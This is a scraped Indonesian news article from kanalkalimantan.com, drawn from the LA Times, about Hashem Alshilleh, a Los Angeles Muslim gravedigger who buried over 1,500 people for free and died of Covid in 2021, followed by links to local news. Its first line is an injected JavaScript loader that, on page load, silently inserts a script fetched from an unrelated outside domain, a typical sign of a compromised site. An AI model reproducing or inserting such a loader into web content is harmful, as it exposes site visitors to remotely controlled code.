(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
INTERNASIONAL

Kisah Hashem, Si Penggali Kubur Muslim Los Angeles


KANALKALIMANTAN.COM, CALIFORNIA – Hashem Alshilleh adalah seorang muslim yang tinggal di Southern California, Amerika. Dia bekerja di Pemakaman Westminster Memorial Park dan telah menguburkan lebih dari 1.500 muslim selama lebih dari 30 tahun. Hashem memandikan, mengafani, memastikan setiap jenazah menghadap kiblat, serta mendampingi keluarga almarhum atau almarhumah.

Hashem tidak memungut bayaran akan jasanya dan hanya bergantung pada sumbangan sukarela. Itupun sering dia gunakan untuk menguburkan orang asing, muslim dan non-muslim.

Dikutip dari latimes.com. ketika Covid-19 melanda Southern California, Hashem memakamkan jenazah sesuai protokol Covid. Ia juga menghabiskan waktunya lebih lama di pemakaman. Seringkali Hashem pergi bekerja pukul empat pagi dan baru pulang jam sembilan malam. Dia sangat lelah sembari berkata kapada anaknya, “Semua orang yang aku kuburkan wafat karena Covid.”

Pada tanggal 21 December 2020, seorang anaknya yang berprofesi sebagai polisi, Rayah, menerima telepon dari kepolisian, mengabarkan bahwa mereka menemukan Hashem di jalan seperti kebingungan dan tak tahu arah. Hashem baru selesai bekerja dan dia batuk-batuk parah. Hashem positif Covid dan wafat tiga minggu kemudian, pada 8 January 2021.

Dua anak Hashem Ahmad Alshilleh, Rayah, kiri, dan Mahmoud, keduanya petugas polisi, meletakkan bunga di makam ayah mereka di Kamar Mayat Taman Memorial Westminster. (Foto: Irfan Khan / Los Angeles Times)

Ketika Hashem wafat, anak-anaknyanya menerima lebih dari 300 panggilan telpon dari seluruh dunia. Semua mengatakan pesan yang sama:
“Hashem lah yang menguburkan ibu mertua saya..”
“Hashem lah yang menguburkan anak saya..”
“Hashem lah yang menguburkan ayah saya..”
“Hashem lah yang menguburkan teman saya..”

Anak-anak Hashem baru menyadari betapa hebatnya ayah mereka setelah Hashem wafat, yaitu setelah mereka berbicara dengan banyak orang dan orang-orang tersebut menceritakan kehebatan ayah mereka.

Sebenarnya anak-anaknya tahu apa yang ayah mereka lakukan. Tapi sang ayah tak pernah bercerita akan kegiatannya kepada orang lain. “Ayah melakukan semua itu bukan karena uang, tapi karena Allah,” kata anaknya.(kanalkalimantan/LA Times/Andy)

 

Reporter : LA Times/Andy
Editor : Cell

 

 

 


Al Ghifari

Recent Posts

Kaji Tiru Raperda KLA Pansus III DPRD Kapuas ke DP3APPKB Surabaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas, Panitia khusus (Pansus) III… Read More

24 menit ago

Berantas Narkoba Lewat Medsos, BNN Banjarbaru Bekali Penggiat P4GN Kelurahan

KANALKALIMANTAN.COM, BANJARBARU - Pencegahan pemberantasan narkotika di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) terus digencarkan… Read More

30 menit ago

Begini Penjelasan Disporabudpar Banjarbaru Soal Perizinan Hotel Aeris

KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More

13 jam ago

Gerilya Politik Lisa Halaby ke Nasdem Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More

13 jam ago

Tim Wasev Cek Langsung Lokasi TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More

13 jam ago

Lutung Tersengat Listrik Dievakuasi Warga, Damkar HSU Amankan Satwa Dilindungi

KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More

14 jam ago

This website uses cookies.